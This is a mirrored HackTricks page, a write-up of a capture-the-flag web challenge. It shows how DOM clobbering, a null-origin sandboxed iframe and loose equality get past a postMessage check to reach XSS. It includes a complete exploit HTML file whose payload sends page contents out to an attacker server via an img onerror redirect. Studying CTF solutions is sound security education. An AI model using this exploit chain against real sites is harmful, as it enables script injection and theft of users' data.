mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
95 lines
6.7 KiB
Markdown
95 lines
6.7 KiB
Markdown
# Bypassing SOP with Iframes - 2
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|
|
|
|
## Iframes in SOP-2
|
|
|
|
In the [**solution**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) for this [**challenge**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic\_) proposes a similar method to the previous section. Let's check it.
|
|
|
|
In this challenge the attacker needs to **bypass** this:
|
|
|
|
```javascript
|
|
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
|
```
|
|
|
|
If he does, he can send a **postmessage** with HTML content that is going to be written in the page with **`innerHTML`** without sanitation (**XSS**).
|
|
|
|
The way to bypass the **first check** is by making **`window.calc.contentWindow`** to **`undefined`** and **`e.source`** to **`null`**:
|
|
|
|
* **`window.calc.contentWindow`** is actually **`document.getElementById("calc")`**. You can clobber **`document.getElementById`** with **`<img name=getElementById />`** (note that Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- is not configured to protect against DOM clobbering attacks in its default state).
|
|
* Therefore, you can clobber **`document.getElementById("calc")`** with **`<img name=getElementById /><div id=calc></div>`**. Then, **`window.calc`** will be **`undefined`**.
|
|
* Now, we need **`e.source`** to be **`undefined`** or **`null`** (because `==` is used instead of `===`, **`null == undefined`** is **`True`**). Getting this is "easy". If you create an **iframe** and **send** a **postMessage** from it and immediately **remove** the iframe, **`e.origin`** is going to be **`null`**. Check the following code
|
|
|
|
```javascript
|
|
let iframe = document.createElement('iframe');
|
|
document.body.appendChild(iframe);
|
|
window.target = window.open("http://localhost:8080/");
|
|
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
|
document.body.removeChild(iframe); //e.origin === null
|
|
```
|
|
|
|
In order to bypass the **second check** about token is by sending **`token`** with value `null` and making **`window.token`** value **`undefined`**:
|
|
|
|
* Sending `token` in the postMessage with value `null` is trivial.
|
|
* **`window.token`** in calling the function **`getCookie`** which uses **`document.cookie`**. Note that any access to **`document.cookie`** in **`null`** origin pages tigger an **error**. This will make **`window.token`** have **`undefined`** value.
|
|
|
|
The final solution by [**@terjanq**](https://twitter.com/terjanq) is the [**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
|
|
|
```html
|
|
<html>
|
|
<body>
|
|
<script>
|
|
// Abuse "expr" param to cause a HTML injection and
|
|
// clobber document.getElementById and make window.calc.contentWindow undefined
|
|
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
|
|
|
|
function start(){
|
|
var ifr = document.createElement('iframe');
|
|
// Create a sandboxed iframe, as sandboxed iframes will have origin null
|
|
// this null origin will document.cookie trigger an error and window.token will be undefined
|
|
ifr.sandbox = 'allow-scripts allow-popups';
|
|
ifr.srcdoc = `<script>(${hack})()<\/script>`
|
|
|
|
document.body.appendChild(ifr);
|
|
|
|
function hack(){
|
|
var win = open('https://obligatory-calc.ctf.sekai.team');
|
|
setTimeout(()=>{
|
|
parent.postMessage('remove', '*');
|
|
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
|
|
// token=null equals to undefined and e.source will be null so null == undefined
|
|
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
|
|
},1000);
|
|
}
|
|
|
|
// this removes the iframe so e.source becomes null in postMessage event.
|
|
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
|
|
}
|
|
setTimeout(start, 1000);
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|